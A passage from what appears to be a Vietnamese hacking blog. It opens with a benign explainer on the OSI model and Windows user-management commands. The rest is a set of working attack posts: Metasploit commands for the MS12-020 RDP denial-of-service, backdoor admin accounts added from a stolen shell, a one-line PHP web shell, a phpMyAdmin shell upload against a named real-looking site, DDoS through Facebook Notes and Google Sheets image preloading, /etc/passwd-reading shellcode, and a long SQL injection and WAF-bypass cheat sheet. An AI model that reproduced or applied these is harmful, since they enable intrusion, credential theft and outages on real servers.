25 thg 5, 2014

no image

Mô hình 7 tầng OSI

Mô hình OSI mô tả phương thức truyền tin từ các chương trình ứng dụng của một hệ thống máy tính đến các chương trình ứng dụng của một hệ thống khác thông qua các phương tiện truyền thông vật lý. Thông tin từ một ứng dụng trên hệ thống máy tính A sẽ đi xuống các lớp thấp hơn, cuối cùng qua các thiết bị vật lý đến hệ thống máy tính B. Sau đó ở hệ thống B, thông tin sẽ đi từ lớp thấp nhất đến cao nhất - chính là ứng dụng của hệ thống máy tính B. Như vậy mỗi lớp trong hai hệ thống máy tính A, B đều truyền thông với nhau qua một giao thức (Protocol) nào đó.
Mô hình OSI gồm có 7 lớp: Lớp ứng dụng, lớp biểu diễn dữ liệu, lớp kiểm soát nối, lớp vận chuyển, lớp mạng, lớp liên kết dữ liệu và lớp vật lý. Sau đây là mô tả các lớp trong mô hình OSI.


                                         Lớp ứng dụng (Application layer) 

      Lớp ứng dụng trong mô hình OSI là tầng trên cùng trong bộ giao thức, có chức năng cung cấp các dịch vụ cao cấp (trên cơ sở các giao thức cao cấp) cho người sử dụng và các chương trình ứng dụng. Lớp này như là giao diện của người sử dụng và các ứng dụng để truy cập các dịch vụ mạng. 
Lớp ứng dụng cung cấp các chức năng sau:
- Chia sẻ tài nguyên và các thiết bị.
- Truy cập file từ xa.
- Truy cập máy in từ xa.
- Hỗ trợ RPC.
- Quản lý mạng.
- Dịch vụ thư mục.


                                  Lớp biểu diễn dữ liệu (Presentation layer) 

     Lớp trình diễn hoạt động như tầng dữ liệu trên mạng. lớp này trên máy tính truyền dữ liệu làm nhiệm vụ dịch dữ liệu được gửi từ tầng Application sang dạng Fomat chung. Và tại máy tính nhận, lớp này lại chuyển twf Fomat chung sang định dạng của tầng Application. Lớp thể hiện thực hiện các chức năng sau:
- Dịch các mã kí tự từ ASCII sang EBCDIC.
- Chuyển đổi dữ liệu, ví dụ từ số interger sang số dấu phảy động.
- Nén dữ liệu để giảm lượng dữ liệu truyền trên mạng.
- Mã hoá và giải mã dữ liệu để đảm bảo sự bảo mật trên mạng.


                                               Lớp phiên (Session layer) 

     Lớp phiên thành lập một kết nối giữa các tiến trình đang chạy trên các máy tính khác nhau. Các chức năng của tầng phiên bao gồm:
- Cho phép tiến trình ứng dụng đăng kí một địa chỉ duy nhất như là NetBIOS name. Lớp này lưu các địa chỉ đó để chuyển sang địa chỉ của NIC từ địa chỉ của tiến trình.
- Thành lập, theo dõi, kết thúc Virtual circuit session giữa hai tiến trình dựa trên địa chỉ duy nhất của nó.
- Định danh thông báo, thêm các thông tin xác định bắt đầu và kết thúc thông báo.
- Đồng bộ dữ liệu và kiểm tra lỗi.


                                         Lớp vận chuyển (Transport layer) 

     Ranh giới giữa lớp biểu diễn dữ liệu và lớp vận chuyển cũng có thể được xem là ranh giới giữa các giao thức thuộc lớp ứng dụng và các giao thức phía dưới. Trong khi các lớp ứng dụng, lớp biểu diễn dữ liệu và lớp phiên đều có liên quan đến ứng dụng thì 4 lớp ở phía dưới gắn với việc truyền dữ liệu. 
Chức năng của lớp vận chuyển là cung cấp các dịch vụ cho việc thực hiện vận chuyển dữ liệu giữa các chương trình ứng dụng một cách tin cậy, bao gồm cả khắc phục lỗi và điều khiển lưu thông. Mục đích chính là đảm bảo dữ liệu được truyền đi không bị mất và bị trùng.
Các nhiệm vụ cụ thể của lớp vận chuyển là :
- Nhận các thông tin từ tầng trên và chia nhỏ thành các đoạn dữ liệu nếu cần.
- Cung cấp sự vận chuyển tin cậy (End to End) với các thông báo (Acknowledment).
- Chỉ dẫn cho máy tính không truyền dữ liệu khi buffer là không có sẵn.


                                               Lớp mạng (Network layer) 

     Lớp mạng là một lớp phức tạp, cung cấp các dịch vụ về chọn đường đi và kết nối giữa hai hệ thống, điều khiển và phân phối dòng dữ liệu truyền trên mạng để tránh tắc nghẽn. Lớp mạng có trách nhiệm địa chỉ hoá, dịch từ địa chỉ logic sang địa chỉ vật lý, định tuyến dữ liệu từ nơi gửi tới nơi nhận. Nó xác định đường truyền nào tốt trên cơ sở các điều kiện của mạng, quyền ưu tiên dịch vụ. Nó cũng quản lý các vấn đề giao thông trên mạng như chuyển mạch, định tuyến và điều khiển sự tắc nghẽn của dữ liệu.
Lớp mạng liên quan đến việc truyền thông giữa các thiết bị trên các mạng tách biệt về logic, được liên kết để trở thành liên mạng. Do các liên mạng có thể rất lớn và có thể được kiến tạo từ các kiểu mạng khác nhau, nên lớp mạng vận dụng các thuật toán định tuyến để hướng các gói tin từ các mạng nguồn đến các mạng đích.
Thành phần chính của lớp mạng là mỗi mạng trong liên mạng được gán một địa chỉ, có thể dùng nó để định tuyến một gói tin. Nó đảm nhiệm các nhiệm vụ sau:
- Định địa chỉ
- Xây dựng các thuật toán định tuyến
- Cung cấp các dịch vụ kiên kết


                                   Lớp liên kết dữ liệu (Data link layer) 

     Lớp này có nhiệm vụ truyền các khung dữ liệu từ máy tính này sang máy tính khác qua tầng vật lý, đảm bảo tin cậy, gửi các khối dữ liệu với các cơ chế đồng bộ hoá, kiểm soát lỗi và kiểm soát luồng dữ liệu. Cụ thể lớp dât link thực hiện các chức năng sau:
- Thành lập và kết thúc liên kết logic giữa hai máy tính.
- Đóng gói dữ liệu thô từ tầng vật lý thành các Frame.
- Điều khiển các frame dữ liệu: phân tích các tham số của frame dữ liệu, phát hiện lỗi và gửi lại dữ liệu nếu có lỗi.
- Quản lý quyền truy nhập cáp, xác định khi nào thì máy tính có quyền truy nhập cáp.

                                               Lớp vật lý (Physical layer) 

     Lớp vật lý là lớp thấp nhất trong mô hình OSI, đảm nhiệm toàn bộ công việc truyền dẫn dữ liệu bằng phương tiện vật lý. Nó xác định các giao diện về mặt điện học và cơ học giữa một trạm thiết bị và môi trường truyền thông cụ thể như sau:
- Các chi tiết về cấu trúc mạng (bus, cây, hình sao,...)
- Chuẩn truyền dẫn (RS-485, IEC 1158-2, truyền cáp quang,...)
- Phương pháp mã hóa bit (NRZ, Manchester, FSK,...)
- Chế độ truyền tải 
- Tốc độ truyền dữ liệu
- Giao diện cơ học ( phích cắm, giắc cắm,...)


Nguồn: lãng tử kids
Xem chi tiết »

19 thg 5, 2014

no image

MS12-020 Microsoft Remote Desktop DoS Metasploit Demo


Affected version(s) :

Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP2
Windows Vista x64 SP2
Windows Server 2008 32 SP2
Windows Server 2008 x64 SP2
Windows 7 for 32 and Windows 7 32 SP1
Windows 7 for x64 and Windows 7 for x64 SP1
Windows Server 2008 R2 x64 and Windows Server 2008 R2 x64 SP1


Commands :


  • use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
  • SET RHOST 192.168.178.22
  • exploit
Nguồn : lãng tử kids

Xem chi tiết »

18 thg 5, 2014

no image

Hướng dẫn tạo user và nâng quyền để remote desktop VPS

khi ta có shell rồi trước tiên là ta xem user trên vps:
net user
rồi tạo user:
net user kiz579 123456 /add
* kiz579 là user
* 123456 là mật khẩu

rồi phải nâng quyền user đó lên mới remete desktop dc,ta dùng lệnh này:
net localgroup Administrators kiz579 /add
ok giờ ta xem trong group admin có tên kiz579 chưa:
net localgroup Administrators
quên nửa ở đây cổng mặc định là 3389,nhưng server nó đổi rồi sẽ hok login dc,ta dùng lệnh này:
netstat -na 
nó sẽ liệt kê tất cả port,tới đây ta mò :))
nhìn cái LISTENING nó ở đó giờ ta mò từng port , hok dc ta thử port khác cho đến khi ra thì thôi

nhớ điều này nửa mỗi khi nếu mún thoát ra khỏi vps thì chọn log off nha

 shell cmd.php

(nội dung trong shell)
<pre><?php system($_GET[cmd]);?></pre>
sử dụng:
http://domain.com/cmd.php?cmd=lệnh dos :)
ví dụ liệt kê danh sách file và thư mục nằm ngang với file cmd.php
http://domain.com/cmd.php?cmd=dir
* các bạn hok cần dùng nó cũng dc,miễn sao các bạn có shell trên server thì ngon :))
* nếu các bạn cần xem video thì liên hệ mình :))

Nguồn : lãng tử kids

Xem chi tiết »

17 thg 5, 2014

no image

Quản lí users với Command Prompt

Nếu bạn lười tạo bằng giao diện GUI hay là bạn không thể truy cập bảng User Account…đây là giải pháp thứ hai thay thế.
Đầu tiên, bạn mở Command Prompt lên (Start > Run đánh lệnh cmd, hoặc muốn Command Prompt cổ lỗ sĩ thì đánh lệnh command). Ở đây mình chọn cmd.

Đầu tiên, để xem list users trong hệ thống, bạn đánh net users, mình nhận đc kết quả như thế này :
Trích:
User accounts for \\SCIFI
-------------------------------------------------------------------------------
Administrator Guest Help Assistant
The command completed successfully.
Sau đó, để thêm một users vào bạn đánh net users tên_user /add; Ờ đây mình ví dụ : net users kiz /add, như sau :
Trích:
net users kiz /add
The command completed successfully.
Sau đó bạn kiểm tra lại danh sách users :
Trích:
User accounts for \\SCIFI
-------------------------------------------------------------------------------
Administrator Guest Help Assistant
kiz
The command completed successfully.
Vậy là user kiz đã có trong danh sách users rồi đó.
Để xem danh sách các nhóm group(s) trong hệ thống, bạn đánh lệnh net localgroup Mình thu được kết quả như sau :
Trích:
Aliases for \\SCIFI
-------------------------------------------------------------------------------
*Administrators
*Backup Operators
*Guests
*Network Configuration Operators
*Power Users
*Remote Desktop Users
*Replicator
*Users
The command completed successfully.
Từ danh sách các nhóm trên bạn có thể truy xuất users trong mỗi nhóm bằng net localgroup tên_nhóm, ví dụ mình type : net localgroup Users và đánh enter, thu được danh sách các user trong nhóm Users, cụ thể là User kiz đã tạo ở trên :
Trích:
Alias name Users
Comment Users are prevented from making accidental or intentional system-wide changes. Thus, Users can run certified applications, but not most legacy applications
Members
-------------------------------------------------------------------------------
kiz
NT AUTHORITY\Authenticated Users
NT AUTHORITY\INTERACTIVE
The command completed successfully.
Nâng quyền User
Bạn có thể nâng quyền user lên bất kì cấp nào trong nhóm nào bạn muốn; để thực hiện điều này bạn theo cú pháp net localgroup nhóm_cần_vào tên_user /add
Ví dụ :
Trích:
net localgroup Administrators kiz /add
The command completed successfully.
Check lại xem user kiz đã thực sự thêm vào nhóm Administrator chưa :

Trích:
net localgroup Administrators
Thu được

Trích:
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
kiz
The command completed successfully.
Hạ quyền User
Bạn có thể drop quyền user nào đó bằng cách gỡ user đó ra khỏi nhóm chỉ định. Để xác định User đó thuộc nhóm nào, bạn type : net users tên_user và nhìn xuống dòng Local Group Memberships. Ở đây, ví dụ user kiz sẽ là :
Trích:
*Administrators *Users
Vậy là ta đã xác định user Huy nằm trong nhóm Administrators. Để drop quyền user này ta sẽ gỡ nó ra khỏi nhóm Administrators. Type lệnh sau để gỡ bỏ :
Trích:
net localgroup Administrators kiz /del
The command completed successfully.
Xóa User
Để xóa một user, bạn type lệnh : net users tên_user /del
Trích:
net users kiz /del
The command completed successfully.
*Kinh nghiệm riêng : một số bạn sau khi xóa users trong Command Prompt xong, vào C:\Documents And Settings\ để xóa data của user đó sẽ không được. Lý do đó là file ntuser.dat của user đó đã chặn lại. Cách fix : restart lại PC, log vào tài khoản Administrators và thực hiện lại lần nữa.
*Khi tạo xong 1 user nào đó, restart máy lại ta sẽ log vào chính user đó. Ví dụ tạo account kiz, khi restart máy lại ta sẽ log vào account của kiz thay vì của Administrator.
Nguồn : lãng tử kids
Xem chi tiết »

16 thg 5, 2014

no image

How to Change User Password at Command Prompt Print

Collapse imageTÓM TẮT

Bài viết này mô tả cách sử dụng lệnh net user để thay đổi mật khẩu người dùng tại Windows command prompt. Chỉ có quyền quản trị mới có thể thay đổi mật khẩu.

Collapse imageCHI TIẾT

Để thay đổi mật khẩu của người sử dụng tại CMD, đăng nhập với quyền quản trị viên và gõ: 
net user user_name * /domain
Khi bạn được nhắc nhập một mật khẩu cho người sử dụng, gõ mật khẩu mới, không phải là mật khẩu hiện tại. Sau khi bạn gõ mật khẩu mới, hệ thống sẽ nhắc bạn nhập lại mật khẩu để xác nhận.

Ngoài ra, bạn có thể gõ lệnh sau: 
net user user_name  new_password
*user_name là tên của bạn
*new_password là mật khẩu bạn mún thay đổi

Khi bạn làm như vậy, thay đổi mật khẩu mà không cần nhắc bạn một lần nữa. Lệnh này cũng cho phép bạn thay đổi mật khẩu trong một tập tin thực thi. 


Nguồn by: lãng tử kids
Xem chi tiết »
no image

Up Shell Via phpMyAdmin

Bước 1: Tìm Path của document root

Thông thường vào link http://www.victim.com/xampp/ đê xem document root
 Ví dụ: http://www.ehtpe.co.cu/xampp/ +
Vào Php infor() để xem path document root : C:/xampp/htdocs

 Bước 2: Loggin và cơ sở dữ liệu: http://www.ehtpe.co.cu/phpmyadmin

 Bước 3: Tạo Database mới

 Ví dụ: VHB_Group. Sử dụng query:

CREATE DATABASE VHB_Group;

Bước 4: Tạo table mớ i

Trong database VHB_Group vừa tạo, tạo table mới, đặt tên là soleil,
 sử dụng query sau:

CREATE TABLE soleil (contentshell varchar(10000) not null)

Bước 5: Chèn code shell

INSERT INTO soleil VALUES ('<?php
if ($HTTP_POST_VARS[\'submit\'])
{
if (!is_uploaded_file($HTTP_POST_FILES[\'file\'][\'tmp_name\']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES[\'file\'][\'size\'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES[\'file\'][\'tmp_name\'],$HTTP_POST_FILES[\'file\'][\'name\']);
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>
<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>');

Bước 6: Export file php

  Sử dụng querry: SELECT * INTO DUMPFILE 'path/upload.php' from table_name;

Path: là path của document root.

Ví dụ:

SELECT * INTO DUMPFILE 'C:/xampp/htdocs/upload.php' from soleil;

Bước 7: Chạy Shell

 Run shell theo đường link: http://domain/upload.php

Ví dụ: http://www.ehtpe.co.cu/upload.php
Xem chi tiết »

28 thg 4, 2014

Sử dụng Facebook Notes và Google SpreadSheet để chiếm băng thông website

Sử dụng Facebook Notes và Google SpreadSheet để chiếm băng thông website


Các cơ chế proxy preload của các Mạng XH ( vd: Facebook ) và các Cloud Application ( vd: Google Docs ) tiềm tàng một nguy cơ là có thể bị "mượn tay" để tấn công DDoS hoặc tấn công chiếm băng thông 
Qua thử nghiệm các Vul này trên Facebook thì trong 2 phút, nó nuốt trôi hơn 8GB băng thông 
Nếu kết hợp cùng lúc nhiều account, nhiều dịch vụ cloud khác nhau ( có hỗ trợ proxy preload ) thì khả năng nạn nhân bị DoS và bị disable dịch vụ hosting vì hết băng thông rất cao 
Nguy hiểm cái là các bug này đều được báo cáo rồi nhưng cả mấy thằng to như Facebook, Google đều bảo là "đây là tính năng ếu phải bug" nên không sửa ( chắc cũng hơn 1 năm rồi ) 



Cách thực hiện thử nghiệm: 

Cần có: 

Mua một VPS làm nạn nhân thử nghiệm 
VPS cài iftop hoặc bất kỳ công cụ nào để xem băng thông bị chiếm dụng 
Upload một file bất kỳ có kích thước > 10MB lên VPS. vd: test.pdf . Ghi lại URL tới file này ( vd: http://langtukids.com/test.pdf ) 

Thực hiện tấn công với Facebook Notes: 
Tạo một account Facebook bất kỳ, tạo Facebook Note với nội dung, chứa khoảng 1000 dòng như sau :
<img src='http://langtukids.com/ddos.pdf?r=1'/>
<img src='http://langtukids.com/ddos.pdf?r=2'/>
<img src='http://langtukids.com/ddos.pdf?r=3'/>
<img src='http://langtukids.com/ddos.pdf?r=4'/>
<img src='http://langtukids.com/ddos.pdf?r=5'/>

Chú ý sẽ thấy sau mỗi url sẽ có thêm một biến số bất kỳ với giá trị tăng dần, đây là chỗ làm tăng tốc và mức độ nguy hại của phương thức DoS này.
Mỗi dòng khi load lên sẽ gửi một request tới nạn nhân, 1000 dòng tương đường với 1000 request download file PDF 10MB như trên, tương đương 10GB băng thông bị ngốn.




Thực hiện tấn công với Google Docs: 

Tạo một file Google Docs Spreadsheet với 1000 dòng nội dung, mỗi dòng có nội dung tương tự như sau: 

=IMAGE(http://langtukids.com/ddos.pdf?r=1)
=IMAGE(http://langtukids.com/ddos.pdf?r=2)
=IMAGE(http://langtukids.com/ddos.pdf?r=3)
=IMAGE(http://langtukids.com/ddos.pdf?r=4)
=IMAGE(http://langtukids.com/ddos.pdf?r=5)


Cách thức tăng mức độ nguy hại của kiểu tấn công này: 
- Phối hợp giữa Facebook Notes DDoS và Google Spreadsheet DDoS
- Refresh liên tục các trang notes và các trang spreadsheet
- Dùng nhiều account để mở nhiều trang notes và các trang spreadsheet
- Dùng nhiều máy tính + nhiều account để mở nhiều trang notes và các trang spreadsheet

Với cách thức DDoS này thì băng thông tối đa có thể DDoS được lên đến 800Mbps. Và lưu lượng băng thông bị ngốn là rất lớn. Nếu gặp các dịch vụ hosting có giới hạng băng thông tối đa hàng tháng thì nạn nhân nhanh chóng bị ISP ngưng dịch vụ vì hết bandwidth limit của tháng.

Nguồn : sưu tầm bởi Lãng Tử Kids.

Xem chi tiết »

26 thg 4, 2014

no image

Local (it can bypass chmod 400)

http://shell-storm.org/shellcode/files/shellcode-73.php
Chúng ta dùng shell code

/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:

_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two

one:
pop %ebx

movb $5, %al
xor %ecx, %ecx
int $0x80

mov %eax, %esi
jmp read

exit:
movb $1, %al
xor %ebx, %ebx
int $0x80

read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80

xor %ebx, %ebx
cmp %eax, %ebx
je exit

movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80

add $1, %esp
jmp read

two:
call one
.string "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd


Shellcode này giúp chúng ta view đc file bất kì khi sử dụng và thay đổi path /etc/passwd thành path cần view thôi.
Cách thực hiện.
Save dưới dạng file exploit.c
Sau đó compile lại bằng lệnh
gcc -o exploit exploit.c
Trông như get root vậy
Sau đó sẽ xuất hiện file exploit
Nâng file đấy lên thành 777.Dùng lệnh
Chmod +x exploit
Và cuối cùng là
./exploit
Kết quả là ta đọc đc file /etc/passwd
Rất giống getroot phải ko
Cách thực hiện rất dễ.
GCC.ZIP

Nhiều server cấm lệnh gcc thì bạn có thể dùng file gcc ở 1 server linux nào đó.Máy ảo chẳng hạn.Up lên rồi chmod 777 rồi ./gcc để thực hiện lệnh....
Ngoài ra các bạn có thể làm tắt server bằng file exploit sau đây.

http://shell-storm.org/shellcode/files/shellcode-68.php
Xem chi tiết »

25 thg 4, 2014

no image

Tổng hợp vài câu lệnh check sqli

+++Bypass login ADMIN :
Username:user ' or 1=1# /admin' or '1'='1/ 1'or'1'='1
Password:pass ' or 1=1# /1'or'1'='1
++Tìm mã Hex Table

Encode Mã Hex Table~~~>http://www.convertstring.com/EncodeDecode/HexEncode
Encode ~~~>Encode http://www.base64encode.org/
Decode ~~~>Decode http://www.base64decode.org/

++My Sql Injection:http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
++Tổng hợp Sqli:http://sla.ckers.org/forum/list.php?16
++Tổng hợp Tut Sql các loại :http://khotien.com/diendan/default.aspx?g=posts&t=1759
++Tut SQLI dạng ASPX:http://root.vn/threads/sqli-khai-thac-doi-voi-aspx.2843/
++Tut SQLI các dạng :http://tutsql.blogspot.com/
++Các dạng Bypass :http://hack2play.blogspot.com/2013/03/waf-bypass-sql-injection-tips.html
++Tut SQLI dễ đến khó :http://nh0ksad.blogspot.com/2013/11/tu-de-en-kho-bypass-waf.html
++Tut hack SQL căn bản
http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html (TH id=null k dk thì id=-...)
++Khai thác Sql Bypass :
http://kechocgian.blogspot.com/2013/02/mot-so-cach-bypass-sql-injection.html
++Khai thác Sql Bypass Filter + 403 Forbidden
http://kechocgian.blogspot.com/2012/10/size6fontarial-blackcolorredtut-by-ke.html
++Tut EROBASE/DOUBLE:https://top-hat-sec.com/forum/index.php?topic=2061.0
++Các kĩ thuật Local Attack:http://ceh.vn/@4rum/showthread.php?tid=3031
++TUT Microsoft OLE DB :http://root.vn/threads/huong-dan-hack-database-qua-sql-injection.2773/
---------------------------------------------------------------------
**************Dạng Java :
***id=-123 UNION SELECT 1,2,concat((0x3c736372697074207372633d22687474703a2f2f6c616e6774756b6964732e636f6d2f73716c692e6a73223e3c2f7363726970743e))langtukids,4-- -
***id=-123'+/*!50000union+select*/ 1,2,concat/*!((0x3c736372697074207372633d22687474703a2f2f6c616e6774756b6964732e636f6d2f73716c692e6a73223e3c2f7363726970743e))*/,4-- -
------------------------------------
***Dạng Basic "and=0":
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
---------------------------------------------------------------------------
Check order :+/*!12345PROCEDURE*/+ANALYSE()-- -
-------------------------------------------------------------------
************Dạng Lồng + Bypass bt:
***Order: id=-1' uniounion SELECT 1,2,3-- -
***Get table: id=-1' uniounion SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
***Get column:id=-1' uniounion SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x...-- -
***Get Data: id=-1' uniounion SELECT 1,group_concat(tên cột,0x207c20,tên cột,0x207c20),3 from tên table -- -
---------------------------------------------------------------
***********Dạng /*!Union*/ /*!Select*/ :
**Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- -
**Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!table_name*/) from information_schema./*!tables*/ where table_schema=database()-- -
**Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!column_name*/) 4,5... from information_schema./*!columns*/ where /*!table_name*/=0x+mã hex table-- -
**Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
-----------------------------------------------------------------
**********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!column_name*/))),3 from information_schema./*!columns*/ where /*!table_name*/=0x...()-- -
***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!tên cột,0x7c,tên cột,0x7c*/))),3 from table -- -
----------------------------------------------------------------
***************Dạng Bypass "=" chặn + ẩn :
***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
***Get database:id=-..../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4 from information_schema. /*!50000tables*/ where /*!50000table_schema*/+like+database()-- -
***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000column_name*/))),4 from information_schema. /*!50000columns*/ where /*!50000table_name*/+like+0x...()-- -
***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000tên cột,0x7c,tên cột,0x7c*/))),4 from table-- -
-----------------------------------------------------------------------
-----------------------------------------------------------------
********************Dạng Bypass 403 limit ***(Khó)
+++Order lỗi :id=-1'+/*!50000union+select*/+1,2,3,4 -- -
+++Get table:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1-- - ( Để biết thêm table tăng limit lên 1,1-2,1-3,1...)
+++Get column:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,column_name)+from+information_schema.columns+where+table_name=0x...+limit+1,1-- -(Tăng limit)
+++Get data :id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,tên cột,tên cột)+from+tên table -- -
--------------------------------------------------------------------------------------------
----------------------------------Bypass 403 limit ****(cực kì khó)*****
***Tìm order lỗi :id=-1+/*!50000union+select*/+1,2,3-- -
***Get table:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,table_name))*/)+from+/*!information_schema*/.tables+where+table_schema=database()+limit+0,1-- -
***Get column:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,column_name))*/)+from+/*!information_schema*/.columns+where+table_name=0x...+limit+0,1-- -
***Get data:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,tên cột,tên cột))*/)+from+tên table-- -
-------------------------------------------------------------------------
-----------------------Dạng Bypass 403 (/*!00000UNION+SELECT*/)
***Order lỗi :id=-1'+/*!00000UNION+SELECT*/+1,2,3-- -
***Get Table :id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(table_name)))*/,3+/*!from*/+information_schema.tables+where+table_schema=database()-- -
***Get Column:id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(column_name)))*/,3+/*!from*/+information_schema.columns+where+table_name=0x...-- -
***Get Data:id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(tên cột,0x7c,tên côt,0x7c)))*/,3+from+teeb table-- -
-------------------------------------------------------------------------------------
*****************Dạng chặn () ~~~>cực kì khó.
***Order lỗi :UNION SELECT 1,2,3,4,5,6,7-- - (@@version)
***Get table:UNION SELECT 1,table_schema,3,4,5,6,7 from information_schema.tables where table_schema<>'information_schema' LIMIT 0,1-- - (Tăng limit )
***Get column :UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='tên table' and table_name=0x... LIMIT 0,1-- - (Tăng limit)
***Get Data :UNION SELECT 1,tên column,tên column,3,4,5,6,7 from tên table-- -
-------------------------------------------------------------------------------------------
***********************Bypass %0AUNION%0ASELECT :
***Order lỗi :id=-1'+%0AUNION%0ASELECT+1,2-- -
***Table:id=-1'+%0AUNION%0ASELECT+1,table_name+from+information_schema.tables
***Column:id=-1'+%0AUNION%0ASELECT+1,colum_name+from+information_schema.columns+where+table_name=0x....-- -
***Info Columns:id=-1'+%0AUNION%0ASELECT+1,tên column+from+tên table-- -
--------------------------------------------------------------------------
****************Dạng Lỗi String-500 ( Khai thác DB MSSQL-Giong ASPX)
***Order lỗi :id=-1' '1','2','3'-- -
***Get table:id=-1' '1',(select top 1 table_name from information_Schema.tables),'3'-- - **Get table tiếp :(select top 1 table_name from information_Schema.tables where table_name not in ('tên table 1'))**
***Get Column:id=-1' '1',(select top 1 column_name from information_schema.columns where table_name=('tên tbl'))),'3'-- - **Get column tiếp:(select top 1 column_name from information_Schema.columns where table_name='tên tbl' and column_name not in ('tên column1'))
***Get Data:id=-1' '1',select top 1 tên column%2b'|'%2b tên column from tên table),'3'-- -

------------------------------------------------------------------------------------
****************Dạng kết hợp Bypass 403 và 406 :
***Order lỗi : id=-1+/*!20000%0d%0aunion*/+/*!20000%0d%0aselect*/+1,2,3-- -
*****************Dạng Get data ẩn :
***group_concat(unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)))+from+tên table-- -
-------------------------------------------------------------------------
****Bypass Filter khó (1 order or nhiều order )
***Get table :id=-1 Union Select group_concat(table_name) FrOm infOrMation_schema.tables
***Get Column :id=-1 Union Select group_concat(column_name) FrOm infOrMation_schema.tables where table_name=0x...-- -
Get Data:id=-1 Union Select group_concat(tên cột,0x7c,tên cột,0x7c) FrOm tên table-- -
*************Basic Get từng table :
***id=-1 UNION SELECT 1,table_name,3 from information_schema.tables limit 0,1-- - (Tăng limit để Get table tiếp theo )

------------------------------------------------------------------------
*******************Dạng id=-1 order by ....-- - không tìm được Order lỗi thì Biến đổi thành id=1' order by ...-- - rồi khai thác Bt.
~~~>K Get dk table thì id=-1' .... rồi khai thác BT.
***************Dạng Table ẩn (UnIoN SeLeCT):
**Order lỗi : id=-... UNION SELECT 1,2,3,...-- -
**Get Database :id=-... UNION SELECT 1,2,database(),4,...-- - (Thay database() vào order lỗi ).
**Get Table :id=-... UNION SELECT 1,2,unhex(hex(group_concat(table_name))),3,4,... from information_schema.tables where table_schema=database()-- -(Thêm unhex(hex nếu table dạng ẩn )
**Get column :id=-... UNION SELECT 1,2,unhex(hex(group_concat(column_name))),4,5,... from information_schema.columns where table_name=0x mã hex table-- -
